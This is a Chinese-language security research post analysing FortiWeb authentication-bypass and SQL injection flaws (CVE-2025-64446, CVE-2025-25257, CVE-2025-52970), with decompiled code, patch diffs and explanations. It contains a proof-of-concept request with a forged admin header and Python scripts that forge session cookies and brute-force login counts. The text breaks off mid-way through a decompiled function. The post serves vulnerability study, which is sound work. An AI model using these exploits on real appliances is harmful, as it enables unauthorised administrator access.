CVE-2025-64446 & 其它漏洞

Catalpa 网络安全爱好者

2025 年 10 月 7 日,网络安全公司 Defused 在 X 上发布了一篇帖子,其中提到在 FortiWeb 蜜罐上捕获到了一些可疑流量,11 月 14 日,多家安全公司发表文章称攻击者正在利用 FortiWeb 中的一个身份验证绕过漏洞发起攻击,随后 Fortinet 发布了漏洞公告并为此漏洞分配 CVE-2025-64446 编号。本次我们根据有关信息对该漏洞进行复现分析,此外还会提及 FortiWeb 近期出现过的一些漏洞。

CVE-2025-64446

环境准备

根据有关信息,该漏洞在 FortiWeb 8.0.2、7.6.5 等版本中修复,我们选择 FortiWeb 7.6.4 来复现漏洞,环境可以在 这里 获取。

分别导入 7.6.4 和 7.6.5 两个版本的虚拟机镜像,开机后使用 admin/空密码登录到 CLI 终端,第一次登录需要修改管理员的密码,然后执行下面的命令配置网络:

1
2
3
4
5
config system interface
edit port1
set mode static
set ip x.x.x.x/24
end

访问 443 端口可以看到 Web 登录页面,FortiWeb 默认不提供 root shell,所以我们需要先解决权限问题。

挂载虚拟机硬盘到另外一个 Linux 系统,在硬盘中找到 rootfs.gz 文件,这实际上是一个 xz 压缩包,解压后得到一个 Linux 磁盘镜像,使用 mount 命令即可挂载,其中和 Web 业务有关的程序位于 /migadmin 目录下,通过目录结构推断 Web 服务是由 Apache httpd 启动的,配置文件位于 /migadmin/conf 目录下,而主程序是 /bin/httpsd

将关键文件复制出来即可开始分析,但我们希望能获取到系统的 root 权限,可以方便后续操作。这里有两种思路,一是直接修改 rootfs 磁盘镜像中的内容,然后将它重新压缩,但系统可能会对 rootfs.gz 有完整性检查。分析目录结构发现,etc 目录是没有打包在 rootfs.gz 中的,并且里面包含 vmware-tools,该目录下的脚本与虚拟机暂停、关机、还原状态等有关。

首先将一个静态编译的 busybox 程序放在 etc 目录下,然后修改 vmware-tools 中的 reboot.sh 脚本,在脚本中利用 busybox 生成一个反向 shell (注意完整目录为 /data/etc/busybox),保存这些修改后将硬盘重新挂载回原来的虚拟机并开机,进入系统后点击 vmware 中的暂停虚拟机即可获取 shell 权限。

按以上思路分别获取到 7.6.4 和 7.6.5 版本的文件即可开始分析漏洞。

漏洞分析

该漏洞的 poc 为:

1
2
3
4
5
6
7
POST /api/v2.0/cmd/system/admin%3F/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: x.x.x.x
CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Content-Length: 835
Content-Type: application/json

{...}

请求有两个关键部分,分别是 URL 中的路径穿越,还有请求头中的 CGIINFO。

Web 服务是由 Apache httpd 启动的,那么我们可以先对比一下新旧版本的配置文件,看看是否有关键的修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 旧版本
<Directory "/migadmin/cgi-bin">
Options +ExecCGI
SetHandler cgi-script
</Directory>

# 新版本
<Directory "/migadmin/cgi-bin">
Options +ExecCGI
SetHandler cgi-script
<Files "*">
Require all denied
</Files>
<Files "fwbcgi">
SetEnvIf REDIRECT_STATUS 200 is_internal
Require env is_internal
</Files>
</Directory>

新版本中限制了对 CGI 程序的访问,特别是当访问 fwbcgi 时,需要先检查该请求是否是 Apache httpd 内部重定向的,也就是说无法直接发送 /cgi-bin/fwbcgi 来访问到这个 CGI 程序。对于这一点可通过发包来测试,在旧版本访问 /cgi-bin/fwbcgi 时,服务器响应 500,而新版本响应 403。

既然旧版本中可以直接访问到 fwbcgi,为何还需要发送带有路径穿越的请求呢?注意到在旧版本发包后服务器响应包含这样的内容:

1
{"errcode": "-20001", "message": "The REST API has invalid URL."}

逆向分析 fwbcgi 程序,在 main 函数中首先调用 cgi_init 函数进行初始化,可以看到设置错误代码为 -20001 的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
v5 = getenv("REQUEST_URI");
v6 = cgi_dec_url(v5);
v7 = v6;
if ( !v6 )
{
*(a1 + 5804) = -20001;
message("%s:%d: decode url failed\n", name[0]);
cgi_rt_log("cgi.c", 221, "_cgi_parse_url", "decode url failed\n", v36, v37, name[0]);
return -1;
}
if ( strncasecmp(v6, "/api/v2.0/", 0xAuLL) )
{
*(a1 + 5804) = -20001;
message("%s:%d: url (%s) not match prefix (%s)\n", name[0]);
cgi_rt_log("cgi.c", 229, "_cgi_parse_url", "url (%s) not match prefix (%s)\n", v7, "/api/v2.0/", name[0]);
LABEL_55:
free(v7);
return -1;
}

cgi_dec_url 函数对 REQUEST_URI 进行 url 解码,然后代码判断 URL 是否以 /api/v2.0/ 开头,如果不是就会设置错误代码为 -20001。

那么如果请求以 /api/v2.0/,则会触发下面的 Apache httpd 配置:

1
2
3
<Location /api/v2.0/>
SetHandler fwbcgi-handler
</Location>

请求先由 httpsd 中的 fwbcgi-handler 处理,这个 Handler 对请求进行鉴权,如果不包含合法的 Cookie 信息就拒绝继续处理。

那么目前的情况是:

  1. 想要访问 fwbcgi 中的各项功能,请求就必须以 /api/v2.0/ 开头。
  2. 当请求以 /api/v2.0/ 开头时,httpsd 中的 handler 就要执行鉴权流程。

如果我们按 poc 中的格式发送请求:/api/v2.0/cmd/system/admin%3F/../../../../../cgi-bin/fwbcgi,对于 httpsd 来说,它在执行规则匹配之前,需要先规范化处理请求中的 URL。../ 路径穿越字符会被折叠,最终用于匹配的 URL 就变成了 /cgi-bin/fwbcgi,httpsd 发现该请求是发往 CGI 程序的,因此就不执行鉴权过程。

而对于 fwbcgi 来说,它获取 URL 时使用的是 REQUEST_URI 环境变量,REQUEST_URI 是请求中未经过规范化处理的 URL。在 cgi_dec_url 函数又会对 URL 进行解码,那么最终 fwbcgi 看到的 URL 就变成了 /api/v2.0/cmd/system/admin?/../../../../../cgi-bin/fwbcgi,相当于请求了 /api/v2.0/cmd/system/admin 接口,这样就可以绕过前面的判断逻辑。

通过路径判断之后,fwbcgi 会调用 cgi_auth 函数进行身份认证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
__int64 __fastcall cgi_auth(_QWORD *a1)
{
char *v2; // rax
__int64 v3; // rax
__int64 i; // rbx
const char *v5; // r13
const char *string; // r12
const char *v7; // rdi
unsigned int v8; // ebx
char *v9; // rax
char *v10; // rax
char *v11; // rbx
char *v12; // rax
char *v13; // rax
char *v14; // r12
unsigned int domain_id; // eax
char s; // [rsp+0h] [rbp-250h]
__int64 v18; // [rsp+8h] [rbp-248h]
_OWORD v19[32]; // [rsp+10h] [rbp-240h] BYREF
unsigned __int64 v20; // [rsp+218h] [rbp-38h]

v20 = __readfsqword(0x28u);
memset(v19, 0, sizeof(v19));
v2 = getenv("HTTP_CGIINFO");
if ( !v2 )
{
message("%s:%d: not include cgi info header\n", s);
return 0xFFFFFFFFLL;
}
cmDecodeB64(v19, 512LL, v2, 0xFFFFFFFFLL);
v3 = json_tokener_parse(v19);
v18 = v3;
if ( !v3 )
{
message("%s:%d: invalid cgi info json\n", v19);
return 0xFFFFFFFFLL;
}
for ( i = *(json_object_get_object(v3) + 8); i; i = *(i + 24) )
{
v5 = *i;
string = json_object_get_string(*(i + 16));
if ( !strncmp(v5, "username", 8uLL) )
{
a1[682] = strdup(string);
}
else if ( !strncmp(v5, "profname", 8uLL) )
{
a1[683] = strdup(string);
}
else if ( !strncmp(v5, "vdom", 4uLL) )
{
a1[684] = strdup(string);
}
else if ( !strncmp(v5, "loginname", 9uLL) )
{
a1[685] = strdup(string);
}
else if ( !strncmp(v5, "session_id", 0xAuLL) )
{
a1[686] = strdup(string);
}
else if ( !strncmp(v5, "sso_user", 8uLL) )
{
a1[687] = strdup(string);
}
}
json_object_put(v18);
v7 = a1[687];
if ( v7 && (v8 = strtol(v7, 0LL, 10)) != 0 )
{
v12 = getenv("REMOTE_ADDR");
v13 = strdup(v12);
v14 = v13;
if ( v13 )
{
snprintf(v19, 0x200uLL, "SSO(%s)", v13);
free(v14);
}
}
else
{
v9 = getenv("REMOTE_ADDR");
v10 = strdup(v9);
v11 = v10;
if ( v10 )
{
snprintf(v19, 0x200uLL, "GUI(%s)", v10);
free(v11);
}
v8 = 0;
}
set_login_context_vsa(a1[685], a1[682], v19, a1[683], v8, 0LL);
domain_id = cmf_shm_find_domain_id(a1[684]);
cmf_set_cur_domain_id(domain_id);
return 0LL;
}

代码获取请求头的 CGIINFO,Base64 解码后以 json 格式解析,从中取得用户名、vdom 等信息,根据这些信息来设置当前用户角色,这一点与 CVE-2024-55591 比较相似。只需要将用户名设置为管理员的 username,就可以获得管理员的角色。

/api/v2.0/cmd/system/admin 是用于添加系统管理员的接口,攻击者利用以上漏洞绕过认证后,使用该接口向系统添加了管理员,然后使用新的管理员权限执行进一步攻击。

CVE-2025-25257

这是一个存在于 FortiWeb Web 管理服务中的未授权 SQL 注入漏洞,漏洞成因非常简单,当访问如 /api/fabric/device/status 等接口时,httpsd 程序调用 get_fabric_user_by_token 函数对请求进行鉴权,函数会获取请求头中的 Authorization 值并拼接到一条 SQL 语句中,尝试从数据库查询 token 对应的用户信息:

1
2
3
4
5
6
7
8
9
10
if ( a1 && *a1 )
{
init_ml_db_obj((__int64)v5);
v1 = v6(v5);
if ( !v1 )
{
snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);
// ...
}
}

由于拼接 SQL 语句时没有过滤传入的参数,导致了 SQL 注入漏洞。关于这个漏洞的利用方式网上有很多文章介绍,最关键的一点是系统中使用的数据库 mysql 是以 root 权限启动的,这种情况下可以使用 select xx into outfile 语句实现任意文件写。

利用任意文件写向 python 的 site-packages 目录下 添加 .pth 文件,或者是向 python 目录下构造一个同名模块,然后利用 cgi-bin 目录下的 ml-draw.py 加载,无论使用何种方法,最终都可以实现任意命令执行。

CVE-2025-52970

FortiWeb 的 Web 管理服务由 httpsd 程序启动,httpsd 本质上是 Apache httpd 服务器,并且将使用到的模块都编译到了主程序中。

CVE-2025-52970 是一个身份验证绕过漏洞,根据 FortiGuard 的漏洞公告,一个未经授权的攻击者在掌握某些数据的情况下,可以以系统中的任意用户身份登录,该漏洞的作者也发布了一篇博客来介绍漏洞的成因。

漏洞分析

当请求某些需要身份认证的接口时,httpsd 会调用到 aps_access_check 函数进行鉴权操作,最终会调用 ApacheCookie_parse 函数解析请求中的 Cookie 数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
__int64 __fastcall ApacheCookie_parse(_QWORD *a1, unsigned __int8 *a2)
{
// ...

v20 = a2;
v3 = *a1;
v21[1] = __readfsqword(0x28u);
v4 = apr_array_make(v3, 1LL, 8LL);
v5 = a2;
if ( a2 || (v5 = apr_table_get(a1[31], "Cookie"), (v20 = v5) != 0LL) ) // [1]
{
if ( *v5 )
{
do
{
v21[0] = ap_getword(*a1, &v20, ';'); // [2]
if ( !v21[0] )
break;
v6 = *__ctype_b_loc();
v7 = v20 + 1;
if ( (v6[*v20] & 0x2000) != 0 )
{
do
{
v8 = v7;
v20 = v7++;
}
while ( (v6[*v8] & 0x2000) != 0 );
}
v9 = ap_getword(*a1, v21, 61LL);
session_cookie_name = fgt_get_session_cookie_name(a1);
if ( strstr(v9, session_cookie_name) ) // [3]
cookieval_unwrap(v21[0]);
v13 = ApacheCookie_new(a1, "-name", v9, 0, v11, v12, v18);
v14 = v13[2];
if ( v14 )
*(v14 + 3) = 0;
else
v13[2] = apr_array_make(*a1, 4LL, 8LL);
while ( *v21[0] )
{
v15 = ap_getword(*a1, v21, 38LL);
v16 = v15;
if ( !v15 )
break;
ap_unescape_url(v15);
if ( apr_pstrdup(**v13, v16) )
{
v19 = **v13;
v18 = apr_array_push(v13[2]);
*v18 = apr_pstrdup(v19, v16);
}
}
*apr_array_push(v4) = v13;
}
while ( *v20 );
}
}
return v4;
}

简单分析该函数的逻辑:在 [1] 处,调用 apr_table_get 函数获取请求中的 Cookie 值,在 [2] 处开始的循环中,以分号分割 Cookie 中的各个参数,在 [3] 处判断当前处理的 Cookie 参数名是否包含 APSCOOKIE_FWEB_xxx,这个参数名是通过 fgt_get_session_cookie_name 函数获取的,发送登录请求之后服务器会自动返回此参数名。

当检测到这个特定的参数时,代码调用 cookieval_unwrap 函数做进一步处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
__int64 __fastcall cookieval_unwrap(void *a1)
{
// ...

v29 = __readfsqword(0x28u);
if ( a1
&& (n[0] = 21,
v1 = strlen(a1) + 1,
v17 = v1,
sub_1C6F20(),
snprintf(v27, 0x80uLL, "Era=%%1d&Payload=%%%zd[^&]&AuthHash=%%%zds", 0x1000uLL, 0x52uLL),
__isoc23_sscanf(a1, v27, &era, v28, dest) == 3)
&& (src = calloc(v1, 1uLL)) != 0LL )
{
if ( era >= 0
&& (sub_1C6E60(dest),
sub_1C6E60(v28),
v2 = strlen(dest),
v3 = strlen(v28),
v4 = malloc(v3 + 1),
*&n[1] = v3,
(ptr = v4) != 0LL) )
{
v5 = EVP_ENCODE_CTX_new();
v6 = v5;
if ( v5 )
{
EVP_DecodeInit(v5);
v23 = n[0];
if ( EVP_DecodeUpdate(v6, v24, n, dest, v2) < 0 )
goto LABEL_25;
v23 -= n[0];
if ( EVP_DecodeFinal(v6, &v24[n[0]]) < 0 )
goto LABEL_25;
n[0] += v23;
if ( v2 < n[0] )
__assert_fail("md_len <= b64_md_len", "cookie_wrap.c", 0x15Bu, "cookieval_unwrap");
EVP_DecodeInit(v6);
v22 = *&n[1];
if ( EVP_DecodeUpdate(v6, ptr, &n[1], v28, v3) < 0 )
goto LABEL_25;
v22 -= *&n[1];
if ( EVP_DecodeFinal(v6, &ptr[*&n[1]]) < 0 )
goto LABEL_25;
v7 = *&n[1] + v22;
*&n[1] = v7;
if ( v3 < v7 )
__assert_fail("des_len <= b64_des_len", "cookie_wrap.c", 0x16Au, "cookieval_unwrap");
v8 = nCfg_debug_zone + 32LL * era + 104256;
v9 = EVP_sha1();
if ( HMAC(v9, v8, 32LL, ptr, v7) && (v10 = memcmp(v24, v25, n[0])) == 0 && (v11 = EVP_CIPHER_CTX_new()) != 0 )
{
v22 = v17;
v23 = v17;
EVP_CIPHER_CTX_reset(v11);
v12 = nCfg_debug_zone;
s2 = (nCfg_debug_zone + 32LL * era + 104256);
v13 = EVP_des_ede3_cbc();
EVP_DecryptInit(v11, v13, s2, &stru_19780 + v12);
if ( EVP_DecryptUpdate(v11, src, &v22, ptr, n[1]) && (v23 -= v22, EVP_DecryptFinal(v11, &src[v22], &v23)) )
{
v14 = v22 + v23;
v22 = v14;
if ( v14 >= v17 )
__assert_fail("cv_unwrapped_len < cv_unwrapped_size", "cookie_wrap.c", 0x190u, "cookieval_unwrap");
memcpy(a1, src, v14);
}
else
{
v10 = -1;
}
EVP_CIPHER_CTX_free(v11);
}
else
{
LABEL_25:
v10 = -1;
}
EVP_ENCODE_CTX_free(v6);
}
else
{
v10 = -1;
}
free(ptr);
}
else
{
v10 = -1;
free(0LL);
}
}
else
{
v10 = -1;
src = 0LL;
free(0LL);
}
free(src);
return v10;
}

这个函数包含一些加解密运算,它将之前获取的 Cookie 参数值按格式分成三个部分,分别是 Era、Payload 和 AuthHash,其中 Era 用于选择密钥,Payload 包含加密后的 session 信息,AuthHash 是整个参数的完整性校验字段。

简要概括这个函数的逻辑:首先代码会调用 sub_1C6F20 函数来初始化密钥参数,这里调用 get_rnd_bytes 函数分别读取两个长度为 32 字节的随机数并保存到指定的内存区域,然后从 Cookie 参数中取出三个关键信息,根据 Era 的值从之前初始化的两个随机数中选择一个用于后续加解密运算,选择密钥之后先调用 HMAC 函数计算 Cookie 校验信息并与传入的 AuthHash 比较,如果不相等就报错返回,否则会使用密钥继续解密 Payload 参数并填充到原来的缓冲区中。

由于 sub_1C6F20 函数仅初始化了两个密钥,正常来说 Era 的值只能是 0 或者 1,但我们看到代码只要求 Era 大于 0,并没有限制它的最大值,所以在后续获取密钥时就会发生越界读取

漏洞利用

首先我们要知道 Payload 参数中保存了什么信息,可以先通过调试获得程序中初始化的随机数密钥,然后登录一个本地用户并获得它的 Cookie 信息在本地解密。例如我登录了一个本地用户,得到如下 Cookie 值:

1
APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=2YXHgvrooFRVUuWveoOBzq6M2WT+rhT8OkeaQETjJZ+ExSiMFIlNZt5kSBlc7c0V%0alt85TeAuPhA3Z/4l7V9nss0i/s+OgngmZnxZVolsGOvBl9sD/EBLFA==%0a&AuthHash=DVNMz+2K0YYkHMYLSVX9d4jfIcI=%0a;

Era 等于 0 说明选择了第一个密钥,通过调试知道密钥为:

1
2
3
4
5
0x7f6bc3ccd740:	0x66c791fe8ded03b9	0xcbd379611fefd594 ----> Key
0x7f6bc3ccd750: 0xf544dbb87633c5d3 0x39ce07b0ddb28df3
0x7f6bc3ccd760: 0x0000000000000000 0x0000000000000000
0x7f6bc3ccd770: 0x0000000000000000 0x0000000000000000
0x7f6bc3ccd780: 0x74696e4920656854 0x00726f7463655620 ----> IV

密钥经过 Base64 编码后是:uQPtjf6Rx2aU1e8fYXnTy9PFM3a420T1842y3bAHzjk=,IV 是 The Init Vector,那么可以编写下面的代码来验证完整性:

1
2
3
4
5
6
7
8
9
10
11
12
import hmac
import base64
import hashlib

if __name__ == "__main__":
key = base64.b64decode(b"uQPtjf6Rx2aU1e8fYXnTy9PFM3a420T1842y3bAHzjk=")
payload = base64.b64decode(b"2YXHgvrooFRVUuWveoOBzq6M2WT+rhT8OkeaQETjJZ+ExSiMFIlNZt5kSBlc7c0Vlt85TeAuPhA3Z/4l7V9nss0i/s+OgngmZnxZVolsGOvBl9sD/EBLFA==")
auth_hash = base64.b64decode(b"DVNMz+2K0YYkHMYLSVX9d4jfIcI=")
cal_hash = hmac.new(key, payload, hashlib.sha1).digest()
print(auth_hash, cal_hash)
assert auth_hash == cal_hash, "Invalid hash!"
print("Pass!")

执行这段代码会输出 Pass,证明密钥是正确的。

接下来编写代码解密 Payload 参数:

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad
import base64

if __name__ == "__main__":
key = base64.b64decode(b"uQPtjf6Rx2aU1e8fYXnTy9PFM3a420T1842y3bAHzjk=")[:24]
iv = b'The Init Vector'[:8]
payload = base64.b64decode(b"2YXHgvrooFRVUuWveoOBzq6M2WT+rhT8OkeaQETjJZ+ExSiMFIlNZt5kSBlc7c0Vlt85TeAuPhA3Z/4l7V9nss0i/s+OgngmZnxZVolsGOvBl9sD/EBLFA==")
cipher = DES3.new(key, DES3.MODE_CBC, iv)
padded_plaintext = cipher.decrypt(payload)
plaintext = unpad(padded_plaintext, DES3.block_size)
print(plaintext)

最终得到解密后的 Payload 参数值:1763561123&FVVM00UNLICENSED&admin&342748099&2&admin&prof_admin&root&AbcXXYJMW&0&0\x00

cookieval_unwrap 函数在解密了参数之后返回,在 ApacheCookie_parse 中调用 ApacheCookie_new 函数把解密后的数据新建为一个 Cookie 对象。

最终回到调用者 aps_get_apscookie,它调用 fgt_get_session_cookie_name 函数取得 Cookie 参数名,然后尝试从之前建立的 Cookie 对象中获取这个参数,如果获取成功,就把之前解密的各个参数填充到指定内存区域并返回,后续的鉴权流程都是依靠这些参数进行的。

根据程序逻辑和解密的参数值,可以猜测某些字段的含义:

1
2
3
4
5
6
7
8
9
10
11
1763561123         Cookie 过期时间
FVVM00UNLICENSED 系统序列号
admin 用户名
342748099 未知1
2 登录次数
admin 用户名2
prof_admin 用户角色
root VDOM
AbcXXYJMW 未知2
0 未知3
0 未知4

根据以上分析可知:

  1. 登录后用户的 Cookie 中包含用户的角色、用户名等关键信息,类似于 Session 信息。
  2. Session 信息的机密性和完整性依赖于程序中初始化的 32 字节随机数密钥。

通过 Era 参数的越界读取,可以强制程序使用一块未初始化内存用作密钥参与计算,通过调试发现原本用于保存密钥的内存附近存在很多 NULL 字节:

1
2
3
4
5
6
7
8
9
10
0x7f6bc3ccd740:	0x66c791fe8ded03b9	0xcbd379611fefd594 ----> 原始密钥 1
0x7f6bc3ccd750: 0xf544dbb87633c5d3 0x39ce07b0ddb28df3
0x7f6bc3ccd760: 0x0000000000000000 0x0000000000000000 ----> 原始密钥 2
0x7f6bc3ccd770: 0x0000000000000000 0x0000000000000000
0x7f6bc3ccd780: 0x74696e4920656854 0x00726f7463655620 ----> IV
0x7f6bc3ccd790: 0x0000001100000000 0x0000000000000000
0x7f6bc3ccd7a0: 0x0000000000000000 0x0000000000000000 ----> 未初始化内存
0x7f6bc3ccd7b0: 0x0000000000000000 0x0000000000000000
0x7f6bc3ccd7c0: 0x0000000000000000 0x0000000000000000
0x7f6bc3ccd7d0: 0x0000000000000000 0x0000000000000000

这样攻击者能够预测用于解密 Cookie 的密钥,例如当设置 Era 等于 3 时,密钥变成了 24 个空字节,此时能够伪造 Payload 和 AuthHash 参数,从而破坏了 AuthHash 的完整性保护。

结合前面的分析,可以编写以下脚本来验证越界读取的影响:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import requests
import re
import base64
import hmac
import hashlib
from Crypto.Cipher import DES3
from Crypto.Cipher import DES

URL = "https://127.0.0.1" # FortiWeb 的 IP 地址
key = base64.b64decode(b"uQPtjf6Rx2aU1e8fYXnTy9PFM3a420T1842y3bAHzjk=") # 从内存获取的 key,仅用于演示
iv = b'The Init Vector'[:8]

def login():
data = "ajax=1&username=admin&secretkey=admin"
res = requests.post(f"{URL}/logincheck", data=data, verify=False)
cookie = res.headers.get("Set-Cookie")
payload_match = re.search(r'Payload=([^&;]+)', cookie)
authhash_match = re.search(r'AuthHash=([^&;]+)', cookie)
cookie_match = re.search(r'(APSCOOKIE_FWEB_\d+=.*?)', cookie)

if payload_match and authhash_match and cookie_match:
payload = payload_match.group(1).replace(r"%0a", "")
authhash = authhash_match.group(1).replace(r"%0a", "")
cookie_name = cookie_match.group(1)
return payload, authhash, cookie_name
else:
print("Login failed")
exit(0)

def test_oob(payload, authhash, cookie_name):
print(f"{cookie_name}Era=3&Payload={payload}&AuthHash={authhash}")
headers = {
"User-Agent": "Mozilla/5.0",
"Connection": "close",
"Cookie": f"{cookie_name}Era=3&Payload={payload}&AuthHash={authhash}"
}
res = requests.get(f"{URL}/api/v2.0/system/state", verify=False, headers=headers)
print(res.text)

def check_hmac(payload, authhash):
cal_hash = hmac.new(key, payload, hashlib.sha1).digest()
assert authhash == cal_hash, "Invalid hash!"
print("HMAC Pass!")

def get_hmac(payload):
enc_key = b"\x00" * 32
cal_hash = hmac.new(enc_key, payload, hashlib.sha1).digest()
return cal_hash

def decrypt_payload(payload):
cipher = DES3.new(key[:24], DES3.MODE_CBC, iv)
plaintext = cipher.decrypt(payload)
return plaintext

def encrypt_payload(payload):
enc_key = b"\x00" * 8
cipher = DES.new(enc_key, DES.MODE_CBC, iv)
ciphertext = cipher.encrypt(payload)
return ciphertext

if __name__ == "__main__":
payload, authhash, cookie_name = login() # 调用登录函数,得到原始的 Payload 和 AuthHash
print(f"Original payload: {payload}")
print(f"Original AuthHash: {authhash}")

payload_decoded = base64.b64decode(payload.encode()) # 将参数 Base64 解码
authhash_decoded = base64.b64decode(authhash.encode())
check_hmac(payload_decoded, authhash_decoded) # 检查 HMAC 完整性

dec_payload = decrypt_payload(payload_decoded) # 解密 Payload 参数
print(f"Decrypted Payload: {dec_payload}")

enc_payload = encrypt_payload(dec_payload) # 用全 NULL 密钥重新加密 payload,注意这种情况下 3DES 实际上就退化成了 DES
new_hmac = get_hmac(enc_payload)

new_payload = base64.b64encode(enc_payload).decode() # 得到了新的 Cookie 值
new_authhash = base64.b64encode(new_hmac).decode()
print(f"New Payload: {new_payload}")
print(f"New AuthHash: {new_authhash}")

test_oob(new_payload, new_authhash, cookie_name) # 设置 Era 为 3,越界读取内存的密钥

这段脚本实现的逻辑:

  1. 使用正确的用户名和密码登录到 FortiWeb,获取 Cookie 信息。
  2. 使用从内存获取的密钥验证 HMAC 完整性并解密 Payload 参数,得到明文 Session 数据。
  3. 使用全 0 密钥在本地将 Session 数据重新加密,注意当使用 3 个相同 8 字节密钥执行 3DES 加密时,算法实际上就退化成了 DES。
  4. 使用新的 Payload 和 AuthHash 构造 Cookie 数据,同时设置 Era 等于 3,越界读取内存中的密钥。
  5. 访问 /api/v2.0/system/state 后台接口来测试漏洞是否利用成功。

在本例中我们使用的是从一个合法 Cookie 中解密得到的 Session 数据来绕过登录,那么当攻击者无法得到合法 Cookie 时,要如何利用该漏洞呢?考虑 Session 中包含的信息,用户名、用户角色、过期时间、VDOM 等信息可以被视为已知,通过测试发现参数 未知1 - 4 理论上不影响鉴权结果,那么攻击者需要知道下面两个关键参数:

  1. 系统序列号
  2. 系统管理员账户登录次数

其中管理账户登录次数理论上是可以暴力破解的,但系统序列号似乎无法通过常规途径获取,提供随机的序列号会导致验证失败,这似乎也符合漏洞公告中所描述的:in possession of non-public information (pertaining to both the device and to the targeted user)

另外由于我们是伪造 Cookie 信息,所以被伪造的用户在利用漏洞的过程中必须在线才能攻击成功。

下面是一个简单的 poc 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
import re
import base64
import hmac
import hashlib
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "https://127.0.0.1" # FortiWeb IP 地址
iv = b'The Init Vector'[:8]

def get_cookiename():
res = requests.get(f"{URL}/ha_redir", verify=False)
cookie = res.headers.get("Set-Cookie")
cookie_match = re.search(r'(APSCOOKIE_FWEB_\d+=.*?)', cookie)

if cookie_match:
cookie_name = cookie_match.group(1)
return cookie_name
else:
print("No cookiename")
exit(0)

def test_oob(payload, authhash, cookie_name):
headers = {
"User-Agent": "Mozilla/5.0",
"Connection": "close",
"Cookie": f"{cookie_name}Era=3&Payload={payload}&AuthHash={authhash}"
}
res = requests.get(f"{URL}/api/v2.0/system/state", verify=False, headers=headers)
if "PRODUCT_NAME" not in res.text:
return False
return True

def get_hmac(payload):
enc_key = b"\x00" * 32
cal_hash = hmac.new(enc_key, payload, hashlib.sha1).digest()
return cal_hash

def encrypt_payload(payload):
enc_key = b"\x00" * 8
cipher = DES.new(enc_key, DES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(payload, DES.block_size))
return ciphertext

if __name__ == "__main__":
cookie_name = get_cookiename()
print(f"Cookie name: {cookie_name}")

expire_time = "3376695600"
serial_num = "FVVM00UNLICENSED"
username = "admin"
role = "prof_admin"
vdom = "root"

for i in range(0, 100): # 做多测试 100 个登录次数
print(f"Testing {str(i)}")
payload = f"{expire_time}&{serial_num}&{username}&644972882&{str(i)}&{username}&{role}&{vdom}&AbcXXYJMW&0&0\x00"
enc_payload = encrypt_payload(payload.encode())
new_hmac = get_hmac(enc_payload)
new_payload = base64.b64encode(enc_payload).decode()
new_authhash = base64.b64encode(new_hmac).decode()
if test_oob(new_payload, new_authhash, cookie_name):
print(payload)
print("Success!")
break

开发者的疏忽

在漏洞分析部分提到代码会调用 sub_1C6F20 函数初始化随机数作为后续的密钥,并且理论上应该初始化两个随机数。但在 7.6.3 版本中(其它版本未知),该函数仅会调用一次 get_rnd_bytes 来获取一个随机数,而第二个随机数会保持为空,那么无需令 Era 越界,而只需要让 Era 等于 1 即可实现和利用漏洞相同的效果。

公告中提到这个漏洞已经在 7.6.4 版本中修复,让我们来看一下 7.6.4 版本是如何修复这个漏洞的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
__int64 __fastcall cookieval_unwrap(void *a1)
{
size_t v1; // r14
size_t v2; // r14
size_t v3; // rbx
char *v4; // rax
__int64 v5; // rax
__int64 v6; // r15
size_t v7; // r12
__int64 v8; // rbx
__int64 v9; // rax
unsigned int v10; // r12d
__int64 v11; // rbx
__int64 v12; // r14
__int64 v13; // rax
size_t v14; // rdx
void *s2; // [rsp+18h] [rbp-11A8h]
size_t v17; // [rsp+28h] [rbp-1198h]
